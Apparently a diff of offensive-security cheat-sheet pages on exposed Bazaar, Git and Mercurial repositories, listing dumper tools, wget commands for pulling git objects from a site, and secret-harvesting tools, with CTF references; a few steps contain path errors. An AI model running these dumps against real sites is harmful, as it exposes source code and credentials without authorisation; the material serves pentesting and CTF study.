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References updated for IDOR, Radomness and SCM
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# Bazaar | ||
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## Summary | ||
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* [Tools](#tools) | ||
* [rip-bzr.pl](#rip-bzrpl) | ||
* [bzr_dumper](#bzr_dumper) | ||
* [References](#references) | ||
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## Tools | ||
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### rip-bzr.pl | ||
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```powershell | ||
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl | ||
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u | ||
``` | ||
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### bzr_dumper | ||
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```powershell | ||
git clone https://github.com/SeahunOh/bzr_dumper | ||
python3 dumper.py -u "http://127.0.0.1:5000/" -o source | ||
Created a standalone tree (format: 2a) | ||
[!] Target : http://127.0.0.1:5000/ | ||
[+] Start. | ||
[+] GET repository/pack-names | ||
[+] GET README | ||
[+] GET checkout/dirstate | ||
[+] GET checkout/views | ||
[+] GET branch/branch.conf | ||
[+] GET branch/format | ||
[+] GET branch/last-revision | ||
[+] GET branch/tag | ||
[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1' | ||
[*] Finish | ||
$ bzr revert | ||
N application.py | ||
N database.py | ||
N static/ | ||
``` | ||
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## References | ||
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- [STEM CTF Cyber Challenge 2019 – My First Blog - m3ssap0 / zuzzur3ll0n1 - March 2, 2019](https://ctftime.org/writeup/13380) |
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# Git | ||
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## Summary | ||
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* [Example](#example) | ||
* [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead) | ||
* [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex) | ||
* [Tools](#tools) | ||
* [Automatic recovery](#automatic-recovery) | ||
* [git-dumper.py](#git-dumperpy) | ||
* [diggit.py](#diggitpy) | ||
* [GoGitDumper](#gogitdumper) | ||
* [rip-git](#rip-git) | ||
* [GitHack](#githack) | ||
* [GitTools](#gittools) | ||
* [Harvesting secrets](#harvesting-secrets) | ||
* [trufflehog](#trufflehog) | ||
* [Yar](#yar) | ||
* [Gitrob](#gitrob) | ||
* [Gitleaks](#gitleaks) | ||
* [Refererences] | ||
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## Example | ||
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The following examples will create either a copy of the .git or a copy of the current commit. | ||
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Check for the following files, if they exist you can extract the .git folder. | ||
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- .git/config | ||
- .git/HEAD | ||
- .git/logs/HEAD | ||
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### Recovering file contents from .git/logs/HEAD | ||
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1. Check for 403 Forbidden or directory listing to find the `/.git/` directory | ||
2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too) | ||
```powershell | ||
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git | ||
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <[email protected]> 1489390329 +0000 commit: Initial. | ||
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <[email protected]> 1489390330 +0000 commit: Whoops! Remove flag. | ||
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <[email protected]> 1489390332 +0000 commit: Prevent directory listing. | ||
``` | ||
3. Access the commit using the hash | ||
```powershell | ||
# create an empty .git repository | ||
git init test | ||
cd test/.git | ||
# download the file | ||
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c | ||
# first byte for subdirectory, remaining bytes for filename | ||
mkdir .git/object/26 | ||
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/ | ||
# display the file | ||
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c | ||
tree 323240a3983045cdc0dec2e88c1358e7998f2e39 | ||
parent 15ca375e54f056a576905b41a417b413c57df6eb | ||
author Michael <[email protected]> 1489390329 +0000 | ||
committer Michael <[email protected]> 1489390329 +0000 | ||
Initial. | ||
``` | ||
4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39 | ||
```powershell | ||
wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39 | ||
mkdir .git/object/32 | ||
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/ | ||
git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39 | ||
040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css | ||
100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt | ||
040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts | ||
100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html | ||
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js | ||
``` | ||
5. Read the data (flag.txt) | ||
```powershell | ||
wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f | ||
mkdir .git/object/cb | ||
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/ | ||
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f | ||
``` | ||
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### Recovering file contents from .git/index | ||
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Use the git index file parser https://pypi.python.org/pypi/gin (python3). | ||
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```powershell | ||
pip3 install gin | ||
gin ~/git-repo/.git/index | ||
``` | ||
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Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file. | ||
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```powershell | ||
$ gin .git/index | egrep -e "name|sha1" | ||
name = AWS Amazon Bucket S3/README.md | ||
sha1 = 862a3e58d138d6809405aa062249487bee074b98 | ||
name = CRLF injection/README.md | ||
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141 | ||
``` | ||
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## Tools | ||
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### Automatic recovery | ||
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#### git-dumper.py | ||
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```powershell | ||
git clone https://github.com/arthaud/git-dumper | ||
pip install -r requirements.txt | ||
./git-dumper.py http://web.site/.git ~/website | ||
``` | ||
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#### diggit.py | ||
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```powershell | ||
git clone https://github.com/bl4de/security-tools/ && cd security-tools/diggit | ||
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True] | ||
./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1 | ||
-u is remote path, where .git folder exists | ||
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init) | ||
-o is a hash of particular Git object to download | ||
``` | ||
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#### GoGitDumper | ||
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```powershell | ||
go get github.com/c-sto/gogitdumper | ||
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/ | ||
git log | ||
git checkout | ||
``` | ||
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#### rip-git | ||
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```powershell | ||
git clone https://github.com/kost/dvcs-ripper | ||
perl rip-git.pl -v -u "http://web.site/.git/" | ||
git cat-file -p 07603070376d63d911f608120eb4b5489b507692 | ||
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2 | ||
parent 15ca375e54f056a576905b41a417b413c57df6eb | ||
author Michael <[email protected]> 1489389105 +0000 | ||
committer Michael <[email protected]> 1489389105 +0000 | ||
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2 | ||
``` | ||
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#### GitHack | ||
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```powershell | ||
git clone https://github.com/lijiejie/GitHack | ||
GitHack.py http://web.site/.git/ | ||
``` | ||
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#### GitTools | ||
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```powershell | ||
git clone https://github.com/internetwache/GitTools | ||
./gitdumper.sh http://target.tld/.git/ /tmp/destdir | ||
git checkout -- . | ||
``` | ||
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### Harvesting secrets | ||
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#### trufflehog | ||
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> Searches through git repositories for high entropy strings and secrets, digging deep into commit history. | ||
```powershell | ||
pip install truffleHog # https://github.com/dxa4481/truffleHog | ||
truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git | ||
``` | ||
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#### Yar | ||
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> Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog. | ||
```powershell | ||
go get github.com/nielsing/yar # https://github.com/nielsing/yar | ||
yar -o orgname --both | ||
``` | ||
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#### Gitrob | ||
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> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files. | ||
```powershell | ||
go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob | ||
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef | ||
gitrob [options] target [target2] ... [targetN] | ||
``` | ||
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#### Gitleaks | ||
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> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories. | ||
```powershell | ||
# Run gitleaks against a public repository | ||
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git | ||
# Run gitleaks against a local repository already cloned into /tmp/ | ||
docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks | ||
# Run gitleaks against a specific Github Pull request | ||
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000 | ||
or | ||
go get -u github.com/zricethezav/gitleaks | ||
``` | ||
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## References | ||
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- [Gitrob: Now in Go - Michael Henriksen - January 24, 2024](https://michenriksen.com/blog/gitrob-now-in-go/) |
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# Mercurial | ||
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## Summary | ||
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* [Tools](#tools) | ||
* [rip-hg.pl](#rip-hgpl) | ||
* [References](#references) | ||
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## Tools | ||
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### rip-hg.pl | ||
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* [kost/dvcs-ripper/master/rip-hg.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl) - Rip web accessible (distributed) version control systems: SVN/GIT/HG... | ||
```powershell | ||
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u | ||
``` | ||
## References | ||
* [my-chemical-romance - siunam - Feb 13, 2023](https://siunam321.github.io/ctf/LA-CTF-2023/Web/my-chemical-romance/) |
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